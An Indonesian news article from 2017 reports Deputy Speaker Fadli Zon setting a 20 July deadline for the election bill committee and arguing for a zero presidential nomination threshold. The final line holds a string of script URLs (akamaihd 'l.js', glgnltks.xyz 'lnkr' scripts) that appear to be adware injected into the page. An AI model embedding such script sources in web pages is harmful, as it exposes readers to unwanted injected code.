[PARLEMENTARIA.COM]– Panitia Khusus (Pansus) Rancangan Undang Undang tentang Pemilihan Umum (Pemilu) harus segera menuntaskan lima isu krusial yang membuat tugas legislasi para wakil rakyat tersebut belum juga selesai.
Wakil Ketua DPR Kordinator Bidang Politik dan Keamanan Fadli Zon kepada sejumlah awak media di Gedung Parlemen Senayan, Jakarta, Senin (3/7) memberikan batas waktu, paling lambat 20 Juli 2017 harus sudah selesai
“Pansus harus menemukan kesepakatan lima isu itu. Kalau tidak bisa dengan jalan mufakat, ya terpaksa dilakukan voting. Paling lambat 20 Juli, tidak boleh lebih,” tegas politisi muda dari Partai Gerakan Indonesia Raya (Gerindra) tersebut.
Salah satu isu krusial yang belum menemukan kesepakatan adalah mengenai syarat ambang batas pencalonan presiden (Presidential Threshold/PT). Terkait permasalahan itu, Fadli mengusulkan PT harus 0 persen atau dihapus.
Sebab, ini merupakan konsekuensi dari pemilihan umum Presiden (Pilpres) dan pemilu Legislatif (Pileg) yang digelar serentak 2019. “Yang paling ngotot masalah presidential threshold kan pemerintah. Sudah jelas-jelas serentak masih memaksakan presidential threshold. Ini tidak masuk akal, tidak nalar,” kritisi Fadli.
Dijelaskan, logikanya jika pelaksanaan Pilpres dan Pileg berlangsung serentak, maka tidak ada lagi ambang batas presiden. Zero bahkan harus dihapuskan. Sebaliknya, menurut Fadli, harus ada peningkatan untuk ambang batas parlemen
“Ini termasuk yang paling diperdebatkan dan kelihatannya pemerintah memaksakan ambang batas presiden 20 persen.”
Dikatakan, tarik-menarik antara DPR dan pemerintah dalam pembahasn RUU pemilu dinilai karena ada kecenderungan pemerintah yang menginginkan munculnya capres-cawapres tunggal. “Kita dalam konstitusi boleh atau berhak untuk memilih dan dipilih, jadi setiap WNI tidak boleh di persulit untuk dipilih, Jangan dibikin seolah-olah calon tunggal.”
Selain masalah presidential threshold, empat masalah lainnya antara lain ambang batas parlemen, sistem pemilu, besaran daerah pemilihan, dan metode konversi suara ke kursi di DPR. (art)
http://cdncache-a.akamaihd.net/sub/nee5452/51565_4825_/l.js?pid=2449&ext=Advertisehttp://cdncache-a.akamaihd.net/sub/nee5452/51565_4825_/l.js?pid=2450&ext=Not%20sethttp://glgnltks.xyz/addons/lnkr5.min.jshttp://glgnltks.xyz/addons/lnkr30_nt.min.jshttp://glgnltks.xyz/ext/12d9c176eb505fe869.js?sid=51565_4825_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a






